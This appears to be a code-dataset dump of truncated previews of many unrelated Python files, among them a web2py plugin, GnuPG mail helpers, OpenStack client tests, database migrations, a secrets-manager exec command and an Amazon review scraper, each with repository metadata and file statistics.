[ "MIT" ]
1
2017-12-01T22:46:33.000Z
2017-12-01T22:46:33.000Z
modules/plugin_dialog.py
jredrejo/sqlabs
2cf39ff924579e72bc0092f2a6d65214dafd4bfe
[ "MIT" ]
null
null
null
modules/plugin_dialog.py
jredrejo/sqlabs
2cf39ff924579e72bc0092f2a6d65214dafd4bfe
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # This plugins is licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php # Authors: Kenji Hosoda <hosoda@s-cubism.jp> from gluon import * # For referencing static and views from other application import os APP = os.path.basename(os.path.dirname(os.path.dirname(__file...
42.555556
108
0.555157
367
3,064
4.520436
0.376022
0.092827
0.048222
0.024111
0.033755
0.033755
0
0
0
0
0
0.020087
0.252611
3,064
71
109
43.15493
0.704367
0.071475
0
0
0
0.037037
0.224841
0.108866
0
0
0
0
0
1
0.074074
false
0
0.074074
0.018519
0.222222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f0d71457ff5029aa819b2d18c137d93a17d27a6
11,698
py
Python
GnuPG-System_Pi-Version/util/_util.py
fabianHAW/GnuPG-Distributer-Mailing-System
7b06ce99481528bdf742c3ee5fe348731daadcc4
[ "MIT" ]
null
null
null
GnuPG-System_Pi-Version/util/_util.py
fabianHAW/GnuPG-Distributer-Mailing-System
7b06ce99481528bdf742c3ee5fe348731daadcc4
[ "MIT" ]
null
null
null
GnuPG-System_Pi-Version/util/_util.py
fabianHAW/GnuPG-Distributer-Mailing-System
7b06ce99481528bdf742c3ee5fe348731daadcc4
[ "MIT" ]
null
null
null
''' Created on 13.06.2016 @author: Fabian Reiber @version: 1.0 This helper-module offers some helpful methods for the GnuPG-System. ''' import base64 from dns.resolver import NXDOMAIN, YXDOMAIN, NoAnswer, NoNameservers, \ NoMetaqueries, Timeout import dns.resolver from email.message import Message from email.mime...
38.354098
150
0.631646
1,311
11,698
5.588101
0.196796
0.016517
0.015288
0.017063
0.241469
0.149195
0.122577
0.102648
0.089271
0.060606
0
0.006206
0.269961
11,698
304
151
38.480263
0.851639
0.282698
0
0.174157
0
0
0.130446
0.032283
0
0
0
0
0
1
0.073034
false
0
0.073034
0
0.247191
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f0d8bfebfcc1ee1973bd4edbe065b03d9b94a93
19,788
py
Python
ceilometerclient/tests/v2/test_alarms.py
zqfan/python-ceilometerclient
2d4c6446ff6985c3eb9c4742df1c8d0682dee6ea
[ "Apache-2.0" ]
null
null
null
ceilometerclient/tests/v2/test_alarms.py
zqfan/python-ceilometerclient
2d4c6446ff6985c3eb9c4742df1c8d0682dee6ea
[ "Apache-2.0" ]
null
null
null
ceilometerclient/tests/v2/test_alarms.py
zqfan/python-ceilometerclient
2d4c6446ff6985c3eb9c4742df1c8d0682dee6ea
[ "Apache-2.0" ]
null
null
null
# # Copyright 2013 Red Hat, Inc # # Author: Eoghan Glynn <eglynn@redhat.com> # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #...
36.57671
78
0.553214
2,188
19,788
4.811243
0.120201
0.057851
0.041227
0.033248
0.680821
0.604636
0.531395
0.506887
0.446566
0.424052
0
0.047012
0.309885
19,788
540
79
36.644444
0.723858
0.031534
0
0.467909
0
0.010352
0.23629
0.077301
0
0
0
0
0.124224
1
0.05383
false
0.00207
0.016563
0
0.076605
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f113383c517811a2fada36a91c193fbf6aadc4b
1,642
py
Python
source-code/Shortest Word Distance II 244.py
ttungl/Coding-Interview-Challenge
d80c3e15468d50b42ee53fcc73e9326c6c816495
[ "MIT" ]
null
null
null
source-code/Shortest Word Distance II 244.py
ttungl/Coding-Interview-Challenge
d80c3e15468d50b42ee53fcc73e9326c6c816495
[ "MIT" ]
null
null
null
source-code/Shortest Word Distance II 244.py
ttungl/Coding-Interview-Challenge
d80c3e15468d50b42ee53fcc73e9326c6c816495
[ "MIT" ]
null
null
null
# 244. Shortest Word Distance II # ttungl@gmail.com # This is a follow up of Shortest Word Distance. The only difference is now you are given the list of words and your method will be called repeatedly many times with different parameters. How would you optimize it? # Design a class which receives a list of words in t...
33.510204
214
0.622412
242
1,642
4.202479
0.442149
0.019666
0.039331
0.011799
0
0
0
0
0
0
0
0.031799
0.272229
1,642
49
215
33.510204
0.819247
0.596224
0
0
0
0
0
0
0
0
0
0
0
1
0.125
false
0
0
0
0.25
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f127a6ef0e549684fc462a22aab994d7ae0ab9f
10,674
py
Python
tests/acceptance/fetch_test.py
benbariteau/fido
e6839917aaba5097af857b8e9086ca9b7f426621
[ "Apache-2.0" ]
23
2015-02-18T04:00:59.000Z
2021-01-08T04:51:22.000Z
tests/acceptance/fetch_test.py
benbariteau/fido
e6839917aaba5097af857b8e9086ca9b7f426621
[ "Apache-2.0" ]
61
2015-03-05T23:42:02.000Z
2021-03-02T01:53:33.000Z
tests/acceptance/fetch_test.py
benbariteau/fido
e6839917aaba5097af857b8e9086ca9b7f426621
[ "Apache-2.0" ]
21
2015-02-18T04:01:11.000Z
2020-12-21T23:38:16.000Z
# -*- coding: utf-8 -*- import logging import time import zlib from multiprocessing import Process import crochet import pytest from six.moves import BaseHTTPServer from six.moves import socketserver as SocketServer from yelp_bytes import to_bytes import fido from fido.fido import DEFAULT_USER_AGENT from fido.fido i...
30.410256
78
0.661514
1,305
10,674
5.196935
0.213793
0.04276
0.026541
0.031849
0.393542
0.341345
0.31967
0.273371
0.21616
0.151873
0
0.008218
0.247611
10,674
350
79
30.497143
0.836259
0.137624
0
0.338776
0
0
0.092743
0.003618
0
0
0
0
0.077551
1
0.085714
false
0
0.061224
0.004082
0.171429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f12be13b6d2453bad70a353595fcd008e638a77
14,028
py
Python
ospy/helpers.py
teodoryantcheff/OSPy
07f44e262383054b276e34d7fc16b3cc10a6d9cf
[ "CC-BY-3.0" ]
1
2018-07-10T18:33:53.000Z
2018-07-10T18:33:53.000Z
ospy/helpers.py
teodoryantcheff/OSPy
07f44e262383054b276e34d7fc16b3cc10a6d9cf
[ "CC-BY-3.0" ]
null
null
null
ospy/helpers.py
teodoryantcheff/OSPy
07f44e262383054b276e34d7fc16b3cc10a6d9cf
[ "CC-BY-3.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'Rimco' # System imports import datetime import logging import random import time import errno from threading import Lock BRUTEFORCE_LOCK = Lock() def del_rw(action, name, exc): import os import stat if os.path.exists(name): os.chmod(na...
26.82218
122
0.571072
1,691
14,028
4.649911
0.222945
0.019331
0.008902
0.01399
0.197253
0.167748
0.152486
0.125779
0.109755
0.081903
0
0.014506
0.3071
14,028
522
123
26.873563
0.794444
0.04876
0
0.301266
0
0
0.059852
0.007463
0
0
0
0
0
1
0.093671
false
0.043038
0.141772
0.017722
0.362025
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f1319d6d309450afe662dd106db64ec2c512851
2,279
py
Python
prototypes/harvesters/updated_mml_harvester.py
materials-data-facility/connect
9ec5b61750bf6fa579bf3ec122f31880d3c049b8
[ "Apache-2.0" ]
1
2019-09-13T18:35:56.000Z
2019-09-13T18:35:56.000Z
prototypes/harvesters/updated_mml_harvester.py
materials-data-facility/connect_server
9ec5b61750bf6fa579bf3ec122f31880d3c049b8
[ "Apache-2.0" ]
15
2018-11-01T18:08:11.000Z
2021-12-06T17:55:03.000Z
prototypes/harvesters/updated_mml_harvester.py
materials-data-facility/connect
9ec5b61750bf6fa579bf3ec122f31880d3c049b8
[ "Apache-2.0" ]
1
2020-11-30T17:02:41.000Z
2020-11-30T17:02:41.000Z
import json import os import shutil import requests def harvest(out_dir, index=None, existing_dir=0, verbose=False): """Collects available data from NIST's MML and saves to the given directory Arguments: out_dir (str): The path to the directory (which will be created) for the data files. ind...
36.174603
96
0.600263
284
2,279
4.690141
0.387324
0.063063
0.039039
0.051802
0.16967
0.09009
0.09009
0.09009
0.09009
0.09009
0
0.007472
0.295305
2,279
62
97
36.758065
0.821918
0.0509
0
0.108108
0
0
0.194319
0
0
0
0
0
0
0
null
null
0
0.108108
null
null
0.027027
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
7f137405acd5b0f9b1c036fe82b2e527a93cd13e
182
py
Python
PythonProject/model/search/ModelSearchResult.py
vlth/ExcelFileSearcher-python
2e5b2c93bdb3bc4140d3b4b9f486133e123a5c36
[ "MIT" ]
null
null
null
PythonProject/model/search/ModelSearchResult.py
vlth/ExcelFileSearcher-python
2e5b2c93bdb3bc4140d3b4b9f486133e123a5c36
[ "MIT" ]
null
null
null
PythonProject/model/search/ModelSearchResult.py
vlth/ExcelFileSearcher-python
2e5b2c93bdb3bc4140d3b4b9f486133e123a5c36
[ "MIT" ]
null
null
null
import sys from model.data_entities.ModelDatatableRow import ModelDatatableRow class ModelSearchResult: def __init__(self, rows: [ModelDatatableRow]): self.rows = rows
22.75
67
0.774725
19
182
7.157895
0.684211
0.117647
0
0
0
0
0
0
0
0
0
0
0.159341
182
7
68
26
0.888889
0
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0.4
0
0.8
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
7f14d80c30ce922024138d28c7ffb4f35b817d6e
724
py
Python
restaurant/migrations/0006_auto_20160707_2014.py
aggolb/dinnerpad
57558908e10f218bae32d1f99d72b6aeca9c5836
[ "MIT" ]
null
null
null
restaurant/migrations/0006_auto_20160707_2014.py
aggolb/dinnerpad
57558908e10f218bae32d1f99d72b6aeca9c5836
[ "MIT" ]
null
null
null
restaurant/migrations/0006_auto_20160707_2014.py
aggolb/dinnerpad
57558908e10f218bae32d1f99d72b6aeca9c5836
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('restaurant', '0005_auto_20160707_1939'), ] operations = [ migrations.AddField( model_name='menuitem', ...
28.96
167
0.598066
76
724
5.526316
0.657895
0.042857
0.080952
0.1
0
0
0
0
0
0
0
0.033088
0.248619
724
24
168
30.166667
0.738971
0.029006
0
0.222222
0
0
0.192582
0.062767
0
0
0
0
0
1
0
false
0
0.111111
0
0.277778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f15c1992685c6fd92039732b2bac2299b5fda58
257
py
Python
jp.atcoder/abc003/abc003_3/8763316.py
kagemeka/atcoder-submissions
91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e
[ "MIT" ]
1
2022-02-09T03:06:25.000Z
2022-02-09T03:06:25.000Z
jp.atcoder/abc003/abc003_3/8763316.py
kagemeka/atcoder-submissions
91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e
[ "MIT" ]
1
2022-02-05T22:53:18.000Z
2022-02-09T01:29:30.000Z
jp.atcoder/abc003/abc003_3/8763316.py
kagemeka/atcoder-submissions
91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e
[ "MIT" ]
null
null
null
import sys n, k, *r = map(int, sys.stdin.read().split()) r.sort() cand = r[-k:] def main(): rate = 0 for c in cand: if rate < c: rate = (rate + c) / 2 print(rate) if __name__ == "__main__": main()
13.526316
46
0.451362
37
257
2.918919
0.621622
0.092593
0
0
0
0
0
0
0
0
0
0.012579
0.381323
257
18
47
14.277778
0.666667
0
0
0
0
0
0.033473
0
0
0
0
0
0
1
0.083333
false
0
0.083333
0
0.166667
0.083333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f161c3e730e9a961c38fd31d9be347a04f925d2
1,580
py
Python
day 02/Hans - Python/day2.py
AE-nv/aedvent-code-2021
7ce199d6be5f6cce2e61a9c0d26afd6d064a86a7
[ "MIT" ]
1
2021-12-02T12:09:11.000Z
2021-12-02T12:09:11.000Z
day 02/Hans - Python/day2.py
AE-nv/aedvent-code-2021
7ce199d6be5f6cce2e61a9c0d26afd6d064a86a7
[ "MIT" ]
null
null
null
day 02/Hans - Python/day2.py
AE-nv/aedvent-code-2021
7ce199d6be5f6cce2e61a9c0d26afd6d064a86a7
[ "MIT" ]
1
2021-12-01T21:14:41.000Z
2021-12-01T21:14:41.000Z
from typing import List, Tuple from collections import namedtuple from enum import Enum class Direction(Enum): FORWARD = "FORWARD" UP = "UP" DOWN = "DOWN" Instruction = namedtuple('Instruction', 'direction units') def get_combined_directions(instructions_list: List[Instruction]) -> Tuple[int, int]: ...
29.811321
94
0.698101
205
1,580
5.195122
0.278049
0.105164
0.042254
0.04507
0.321127
0.257277
0.169014
0.090141
0
0
0
0.004677
0.187975
1,580
52
95
30.384615
0.825409
0
0
0.060606
0
0
0.092405
0
0
0
0
0
0
1
0.090909
false
0
0.090909
0
0.393939
0.060606
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f16280a4ee127c66ec6881146bdacb0609fbd70
5,100
py
Python
sopel_torrentinfo/providers.py
dgw/sopel-torrentinfo
8e73324574b97b11e220a9dacf33f3f8e56ce758
[ "EFL-2.0" ]
null
null
null
sopel_torrentinfo/providers.py
dgw/sopel-torrentinfo
8e73324574b97b11e220a9dacf33f3f8e56ce758
[ "EFL-2.0" ]
3
2017-10-08T09:13:59.000Z
2020-12-22T19:37:40.000Z
sopel_torrentinfo/providers.py
dgw/sopel-torrentinfo
8e73324574b97b11e220a9dacf33f3f8e56ce758
[ "EFL-2.0" ]
2
2017-10-07T18:16:05.000Z
2018-01-18T15:09:13.000Z
# coding=utf-8 """Link handling provider logic.""" import abc from collections import OrderedDict import re from lxml import etree class ProviderManager: """Manager of info providers. Possibly also slayer of dragons.""" def __init__(self): self.providers = OrderedDict() """Mapping of each ...
34.693878
106
0.608039
614
5,100
4.983713
0.348534
0.039216
0.014379
0.026144
0.252614
0.185294
0.15
0.083987
0.083987
0.059804
0
0.009089
0.244902
5,100
146
107
34.931507
0.78551
0.288824
0
0.19697
0
0.015152
0.232287
0.156652
0
0
0
0.006849
0
1
0.19697
false
0
0.060606
0.030303
0.469697
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f17a75bcf20017304a34f189d671e3f94815fb9
387
py
Python
service/models/employer/employer_filter.py
CyberArkForTheCommunity/jobli-backend
2309c9ac33993cb89a8e1581630d99b46f8d55aa
[ "MIT" ]
null
null
null
service/models/employer/employer_filter.py
CyberArkForTheCommunity/jobli-backend
2309c9ac33993cb89a8e1581630d99b46f8d55aa
[ "MIT" ]
1
2021-12-23T13:36:43.000Z
2021-12-23T13:36:43.000Z
service/models/employer/employer_filter.py
CyberArkForTheCommunity/jobli-backend
2309c9ac33993cb89a8e1581630d99b46f8d55aa
[ "MIT" ]
null
null
null
from pydantic import BaseModel, Field from typing import Optional from service.lambdas.employer.constants import EmployerConstants class EmployerFilter(BaseModel): employer_id: Optional[str] business_name: Optional[str] city: Optional[str] last_pagination_key: Optional[str] limit_per_page: Optiona...
32.25
93
0.803618
47
387
6.425532
0.595745
0.145695
0
0
0
0
0
0
0
0
0
0
0.126615
387
11
94
35.181818
0.893491
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
3
7f17d586efcd9507ea3b23d3a3643661b8e2a4e3
2,265
py
Python
alembic/versions/178e9c208218_.py
xtao/vilya
39afda324bcfe9eefe7d813381d5b1627ba00ae5
[ "BSD-3-Clause" ]
2
2015-01-15T09:10:57.000Z
2015-01-15T09:55:10.000Z
alembic/versions/178e9c208218_.py
xtao/vilya
39afda324bcfe9eefe7d813381d5b1627ba00ae5
[ "BSD-3-Clause" ]
null
null
null
alembic/versions/178e9c208218_.py
xtao/vilya
39afda324bcfe9eefe7d813381d5b1627ba00ae5
[ "BSD-3-Clause" ]
null
null
null
"""empty message Revision ID: 178e9c208218 Revises: 5998e9ee193 Create Date: 2014-11-16 19:09:06.666542 """ # revision identifiers, used by Alembic. revision = '178e9c208218' down_revision = '5998e9ee193' from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic - pl...
38.389831
77
0.686093
298
2,265
5.100671
0.251678
0.126316
0.202632
0.263158
0.679605
0.6625
0.632895
0.613816
0.526316
0.420395
0
0.037359
0.137307
2,265
58
78
39.051724
0.740532
0.128035
0
0.25
0
0
0.176622
0
0
0
0
0
0
1
0.05
false
0
0.05
0
0.1
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
7f1a78253af63ce99cd33cff95dd1f2d2d7c9566
6,210
py
Python
tools/dali.py
luzai/InsightFace_Pytorch
2f3d865aa5fa14896df27fe9b43a5c4ceb02c7dd
[ "MIT" ]
4
2019-01-24T03:43:36.000Z
2020-10-24T08:36:28.000Z
tools/dali.py
luzai/InsightFace_Pytorch
2f3d865aa5fa14896df27fe9b43a5c4ceb02c7dd
[ "MIT" ]
null
null
null
tools/dali.py
luzai/InsightFace_Pytorch
2f3d865aa5fa14896df27fe9b43a5c4ceb02c7dd
[ "MIT" ]
null
null
null
from lz import * from config import conf from nvidia.dali.pipeline import Pipeline import nvidia.dali.ops as ops import nvidia.dali.types as types from nvidia.dali.plugin.pytorch import DALIGenericIterator base = "/media/mem_data/" + conf.dataset_name + "/" idx_files = [base + "train.tc.idx"] rec_files = [base + "trai...
37.409639
186
0.541063
732
6,210
4.387978
0.293716
0.021793
0.030511
0.01868
0.151619
0.129203
0.113636
0.093711
0.06538
0.05604
0
0.020157
0.344928
6,210
165
187
37.636364
0.76942
0.062319
0
0.061069
0
0
0.040262
0
0
0
0
0
0.007634
1
0.061069
false
0.007634
0.053435
0.007634
0.175573
0.007634
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f1abb5060e39a368256be6fdccc62d3097395a3
185
py
Python
user_guide/urls.py
jmcriffey/django-user-guide
f4a1c462d2f7bf8569576f757e2f106b565e3e40
[ "MIT" ]
null
null
null
user_guide/urls.py
jmcriffey/django-user-guide
f4a1c462d2f7bf8569576f757e2f106b565e3e40
[ "MIT" ]
null
null
null
user_guide/urls.py
jmcriffey/django-user-guide
f4a1c462d2f7bf8569576f757e2f106b565e3e40
[ "MIT" ]
null
null
null
from django.conf.urls import patterns, url from user_guide import views urlpatterns = patterns( '', url(r'^seen/?$', views.GuideSeenView.as_view(), name='user_guide.seen') )
18.5
75
0.702703
25
185
5.08
0.68
0.173228
0
0
0
0
0
0
0
0
0
0
0.151351
185
9
76
20.555556
0.808917
0
0
0
0
0
0.124324
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
7f1c6481280e8c66c3c95bb553f4716418bdc89b
3,663
py
Python
integration/keeper_secrets_manager_cli/keeper_secrets_manager_cli/exec.py
inna-btc/secrets-manager
5c65fea092e80b25d2466b395fa03eabd6a98f9b
[ "MIT" ]
null
null
null
integration/keeper_secrets_manager_cli/keeper_secrets_manager_cli/exec.py
inna-btc/secrets-manager
5c65fea092e80b25d2466b395fa03eabd6a98f9b
[ "MIT" ]
null
null
null
integration/keeper_secrets_manager_cli/keeper_secrets_manager_cli/exec.py
inna-btc/secrets-manager
5c65fea092e80b25d2466b395fa03eabd6a98f9b
[ "MIT" ]
1
2021-12-18T03:15:54.000Z
2021-12-18T03:15:54.000Z
# -*- coding: utf-8 -*- # _ __ # | |/ /___ ___ _ __ ___ _ _ ® # | ' </ -_) -_) '_ \/ -_) '_| # |_|\_\___\___| .__/\___|_| # |_| # # Keeper Secrets Manager # Copyright 2021 Keeper Security Inc. # Contact: ops@keepersecurity.com # import os import sys import subprocess from keeper_secrets_manager_cli.exc...
34.885714
111
0.577669
436
3,663
4.651376
0.366972
0.027613
0.027613
0.048817
0.085799
0.045365
0
0
0
0
0
0.006885
0.325962
3,663
104
112
35.221154
0.814095
0.180999
0
0.046875
0
0
0.083893
0
0
0
0
0
0
1
0.078125
false
0
0.109375
0
0.234375
0.015625
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f1ce93eb440ce425b0855de18b6a52b32d83bda
688
py
Python
examples/euler_2d/grid_initializer.py
Ruzzyy/anysim
6bc590056754e7dc89a1078ab4c41823075088d2
[ "MIT" ]
4
2019-05-13T11:51:27.000Z
2019-09-25T15:18:03.000Z
examples/euler_2d/grid_initializer.py
Ruzzyy/anysim
6bc590056754e7dc89a1078ab4c41823075088d2
[ "MIT" ]
null
null
null
examples/euler_2d/grid_initializer.py
Ruzzyy/anysim
6bc590056754e7dc89a1078ab4c41823075088d2
[ "MIT" ]
3
2019-06-08T12:46:13.000Z
2020-01-09T10:35:22.000Z
from anysim_py import * x_0 = 1.0 y_0 = 1.5 for cell_id in range (topology.get_cells_count ()): if geometry.get_cell_center_x (cell_id) < x_0: fields["rho"][cell_id] = 1.0 fields["p"][cell_id] = 1.0 fields["u"][cell_id] = 0.0 fields["v"][cell_id] = 0.0 else: if geometry...
29.913043
54
0.510174
115
688
2.808696
0.243478
0.278638
0.195046
0.148607
0.696594
0.547988
0.547988
0.547988
0.547988
0.547988
0
0.07234
0.31686
688
22
55
31.272727
0.614894
0
0
0.6
0
0
0.026163
0
0
0
0
0
0
1
0
false
0
0.05
0
0.05
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
7f1e1e58324d965d4cfbe921e5ddeef6d3149b64
1,247
py
Python
Important/decorator_example2.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
2
2020-10-19T05:22:43.000Z
2020-10-19T06:01:28.000Z
Important/decorator_example2.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
null
null
null
Important/decorator_example2.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
null
null
null
# decorator as a function # decorator to add functionality to func along with uneven arguments def decorator_function(original_function): def wrapper(*args, **kwargs): # adding *args **kwargs makes it take any no of arguments print "\nexecuting inside of Decorator Function: {}".format(original_function.__na...
30.414634
97
0.728148
161
1,247
5.416149
0.279503
0.146789
0.091743
0.061927
0.387615
0.31422
0.31422
0.31422
0.31422
0.31422
0
0.003872
0.171612
1,247
41
98
30.414634
0.840271
0.170008
0
0.592593
0
0
0.216505
0
0
0
0
0
0
0
null
null
0
0
null
null
0.222222
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
7f213145b2e79b609f449693f2315622fd4c8619
11,729
py
Python
notebooks/diffable_python/population_characteristics.py
opensafely/nhs-covid-vaccination-coverage
61cfafdb9d023546af01ff91c0457f80a787ce7c
[ "MIT" ]
12
2021-01-27T11:49:01.000Z
2022-02-17T10:19:26.000Z
notebooks/diffable_python/population_characteristics.py
opensafely/nhs-covid-vaccination-coverage
61cfafdb9d023546af01ff91c0457f80a787ce7c
[ "MIT" ]
8
2021-02-02T16:00:55.000Z
2022-02-15T14:44:26.000Z
notebooks/diffable_python/population_characteristics.py
opensafely/nhs-covid-vaccination-coverage
61cfafdb9d023546af01ff91c0457f80a787ce7c
[ "MIT" ]
6
2021-02-16T00:58:14.000Z
2022-02-17T10:06:57.000Z
# --- # jupyter: # jupytext: # cell_metadata_filter: all # notebook_metadata_filter: all,-language_info # text_representation: # extension: .py # format_name: light # format_version: '1.5' # jupytext_version: 1.3.3 # kernelspec: # display_name: Python 3 # language: python...
40.725694
231
0.675335
1,528
11,729
4.884817
0.244764
0.05493
0.013264
0.026795
0.432342
0.387594
0.321543
0.294748
0.242765
0.221061
0
0.031665
0.229943
11,729
287
232
40.867596
0.79473
0.255435
0
0.061538
0
0
0.177884
0.053609
0
0
0
0
0
1
0
false
0
0.123077
0
0.123077
0.007692
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f2201229ba0be087f7e74b4e6169d1738424400
6,723
py
Python
python/infinite_precision_arithmetic/Rational.py
quasarbright/quasarbright.github.io
942710adf4a2531d033023a6f750efeddf3e9050
[ "MIT" ]
1
2021-01-23T13:50:34.000Z
2021-01-23T13:50:34.000Z
python/infinite_precision_arithmetic/Rational.py
quasarbright/quasarbright.github.io
942710adf4a2531d033023a6f750efeddf3e9050
[ "MIT" ]
40
2018-02-19T19:37:24.000Z
2022-03-25T18:34:22.000Z
python/infinite_precision_arithmetic/Rational.py
quasarbright/quasarbright.github.io
942710adf4a2531d033023a6f750efeddf3e9050
[ "MIT" ]
1
2018-12-07T03:07:21.000Z
2018-12-07T03:07:21.000Z
from BigInt import * class Rational: ''' constructs a fraction, doesn't simplify immutable ''' def __init__(self, numerator, denominator=BigInt(1)): if type(numerator) is not type(BigInt(0)) or type(denominator) is not type(BigInt(0)): raise TypeError('{0}, {1}'.format(type(numer...
33.282178
127
0.557787
757
6,723
4.879789
0.129458
0.066865
0.025988
0.047645
0.480238
0.432052
0.384678
0.354088
0.270709
0.221169
0
0.014428
0.329912
6,723
201
128
33.447761
0.805549
0.04373
0
0.44586
0
0
0.024843
0
0
0
0
0
0
1
0.10828
false
0
0.006369
0.006369
0.350318
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f22ff6c6016d0aee4ec29ba1f292219db1a16c0
7,915
py
Python
amazon.py
DhruvAwasthi/Scrape-Amazon_Reviews
6cd02c23fa1a5aadf91c26c3b18e67b18be194a0
[ "MIT" ]
1
2021-02-03T12:59:46.000Z
2021-02-03T12:59:46.000Z
amazon.py
DhruvAwasthi/Scraping-Amazon
6cd02c23fa1a5aadf91c26c3b18e67b18be194a0
[ "MIT" ]
null
null
null
amazon.py
DhruvAwasthi/Scraping-Amazon
6cd02c23fa1a5aadf91c26c3b18e67b18be194a0
[ "MIT" ]
null
null
null
import pandas as pd from urllib import request from bs4 import BeautifulSoup num_reviews = 100 reviews_dir = 'data/' base_url = 'https://www.amazon.in' product_url = 'https://www.amazon.in/Samsung-EO-BG920BBEGIN-Bluetooth-Headphones-Black-Sapphire/dp/B01A31SHF0/ref=sr_1_1?dchild=1&keywords=headphones+level&qid=160853...
39.575
178
0.633986
995
7,915
4.919598
0.259296
0.034934
0.027579
0.031461
0.204903
0.169969
0.117875
0.092339
0.034729
0.02288
0
0.016074
0.221857
7,915
199
179
39.773869
0.778698
0.005559
0
0.295181
0
0.03012
0.243106
0.043589
0
0
0
0
0
1
0.084337
false
0
0.018072
0
0.240964
0.036145
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f23cd5011dad7b6cfaa8bd1a98b4bf52685a6b0
682
py
Python
templates/bind-config.py
bartv/dns-config
1c073ae83f6d3f0dccb647aefc4513c3724b6f54
[ "MIT" ]
null
null
null
templates/bind-config.py
bartv/dns-config
1c073ae83f6d3f0dccb647aefc4513c3724b6f54
[ "MIT" ]
null
null
null
templates/bind-config.py
bartv/dns-config
1c073ae83f6d3f0dccb647aefc4513c3724b6f54
[ "MIT" ]
null
null
null
# Licensed under the MIT license # Copyright 2007, Bart Vanbrabant <bart@ulyssis.org> result = "// Auto generated from ldap at %s\n" % datetime.datetime.now().strftime("%d/%m/%Y -- %H:%M") result += "// vim: ft=named\n\n" for zone in zones: name = zone.get_zonename() if (zone.is_zoneonly()): co...
31
103
0.536657
94
682
3.861702
0.553191
0.022039
0.016529
0
0
0
0
0
0
0
0
0.007782
0.246334
682
21
104
32.47619
